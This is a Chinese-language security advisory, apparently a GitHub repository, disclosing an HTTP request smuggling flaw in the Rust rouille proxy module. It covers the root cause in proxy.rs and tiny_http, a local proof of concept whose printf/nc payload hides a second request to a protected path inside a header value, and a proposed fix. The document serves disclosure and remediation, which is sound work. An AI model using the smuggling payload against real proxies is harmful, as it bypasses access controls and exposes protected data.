theopaid/CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-
GitHub: theopaid/CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-
针对 Rust rouille 库代理模块的 HTTP 请求走私漏洞公告,揭示了未过滤标头控制字符导致前端访问控制绕过的安全问题。
Stars: 0 | Forks: 0
# 安全公告:HTTP 请求走私导致前端访问控制绕过 (rouille)
**分配的 CVE ID:** CVE-2026-67182
## 摘要
`rouille::proxy::proxy` 和 `rouille::proxy::full_proxy` 会将客户端提供的请求标头值复制到上游连接中,而不检查其中是否包含控制字符。
标头值在合法情况下可以包含单个换行符 (0x0A),因为底层的 `tiny_http` 标头解析器仅在遇到 CRLF 时才结束标头行。因此,接受单个 LF 作为行终止符的后端会将一个前端请求读取为两个。
第二个请求完全由攻击者控制,包括其请求方法和路径,并且永远不会经过决定代理第一个请求的 rouille handler。其响应体也会返回给攻击者。
## 受影响版本
仓库 URL:https://github.com/tomaka/rouille
| | |
|---|---|
| 首个受影响版本 | 0.3.3 (2016-12-03),即引入 `src/proxy.rs` 的发布版本 |
| 最后受影响版本 | 3.6.2 (2023-04-24),即当前发布版本 |
| 不受影响 | 0.3.2 及更早版本,它们没有代理模块 |
| 修复版本 | 截至撰稿时无修复版本 |
从 0.3.3 到 3.6.2 的每个已发布版本都包含未经修改的代码。文件 `src/proxy.rs` 在 3.6.2 标签和当前的 `master` 分支之间逐字节相同。
只有调用 `proxy::proxy` 或 `proxy::full_proxy` 的应用才会受到影响。
## 严重程度
CWE-444(HTTP 请求的不一致解释),是通过 CWE-113(HTTP 标头中 CRLF 序列的不当中和处理)引发的。
CVSS 4.0 基础得分 6.9(中危)
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N`
## 威胁模型
攻击者是一个远程、未经身份验证的客户端,能够向 rouille 服务器发送原始 HTTP 请求。不需要凭证,不需要用户交互,也不需要位于网络组件之间的位置。
存在风险的部署是指一个 rouille 应用程序作为反向代理,在调用 `proxy()` 之前做出安全决策(路由、身份验证、授权或内容过滤),并且其背后的后端的 HTTP 解析器接受单个 LF 作为标头行终止符。
测量到的后端行为:
| 后端 | 测试版本 | 接受注入的 LF |
|---|---|---|
| Go `net/http` | go1.26.4 | 是,处理走私的请求 |
| Python `http.server` (`protocol_version = "HTTP/1.1"`) | CPython 3.13 | 是,处理走私的请求 |
| Node.js | v26.3.0 | 否,返回 400 (llhttp 严格模式) |
| PHP 内置服务器 | 8.5.8 | 否,断开连接 |
nginx 和 Apache 未经过测试。RFC 9112 第 2.2 节允许接收方将单个 LF 识别为行终止符,因此接受 LF 的后端行为符合规范。
## 根本原因
`rouille/src/proxy.rs`,第 157 到 174 行:
```
157 for (header, value) in request.headers() {
158 let value = if header == "Host" {
159 if let Some(ref replace) = config.replace_host {
160 &**replace
161 } else {
162 value
163 }
164 } else {
165 value
166 };
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
```
第 171 行是汇聚点。`value` 是不可信的,并且在没有任何验证的情况下被写入。
污染源是通过 `tiny_http` 引入的。在
`tiny_http-0.12.0/src/client.rs`,第 80 到 102 行中,只有当 LF 紧跟在 CR 之后时,标头行才会结束:
```
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
```
单独的 LF 会掉落到第 100 行并被推入行缓冲区。LF 是有效的 ASCII 字符,因此 `AsciiString::from_ascii` 接受它。随后,位于 `tiny_http-0.12.0/src/common.rs` 第 184 行的 `Header::from_str` 仅对值进行修剪,这会去除首尾的空白字符,但保留内部的字节:
```
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
```
结果是,rouille 中的标头值包含了一个原始的 `\n`,`proxy.rs` 的第 171 行将其直接写入了上游请求中。
第 173 行的 `Connection: close` 并未遏制损害。注入的空行在第 173 行运行之前就结束了第一个请求,因此该标头被吸收到了走私的请求中。第一个请求不带 `Connection` 标头,并默认使用 HTTP/1.1 keep-alive,这恰好使得后端能够继续处理第二个请求。
## 概念验证 (PoC)
步骤 1. 创建一个后端文档根目录,其中包含一个公共文件和一个代理旨在保护的文件。
```
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE" > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html
```
步骤 2. 在端口 8001 上启动一个 keep-alive 后端。
```
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, f, *a):
sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'
```
步骤 3. 在端口 8000 上启动 rouille 前端。它代理 `/public/` 并拒绝其他所有请求。
```
use rouille::{proxy, Response};
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
if !request.url().starts_with("/public/") {
return Response::text("forbidden").with_status_code(403);
}
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
```
步骤 4. 确认访问控制正常工作。
```
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
```
```
HTTP/1.1 403 Forbidden
```
步骤 5. 发送一个针对允许路径的单一请求,并在标头值中包含一个单个 LF。在下面的命令中,`\n` 是单个换行符,`\r\n` 是 CRLF。这种区别正是整个攻击的核心,因此不要让编辑器将其标准化。
```
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000
```
结果。后端日志显示有两个请求,第二个请求正是前端在步骤 4 中拒绝的路径:
```
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -
```
攻击者还会收到受保护的内容,因为 `src/proxy.rs` 第 224 行将上游 socket 的剩余部分转换为了响应体:
```
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked
d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18
SECRET ADMIN PAGE
```
## 影响
未经身份验证的客户端可以向后端发出任意请求并读取其响应,而 rouille handler 只能看到被允许的请求。
这会破坏基于路径的访问控制、在 handler 中执行的身份验证,以及在调用 `proxy()` 之前执行的任何请求检查。
有两个限制值得一提。`proxy()` 为每个请求打开一个新的 TCP 连接,并且不使用连接池,因此这不会带来与经典走私攻击相关的跨用户请求队列投毒攻击。此外,如上所述,该攻击还需要一个容忍 LF 的后端。
## 修复方案
在将标头名称和值写入上游之前,拒绝包含控制字符的内容。在 `src/proxy.rs` 的第 157 行的循环内部:
```
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
|| value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
return Err(ProxyError::HttpParseError);
}
```
标签:HTTP请求走私, Rust, Web框架, 反向代理, 可视化界面, 漏洞通告, 网络流量审计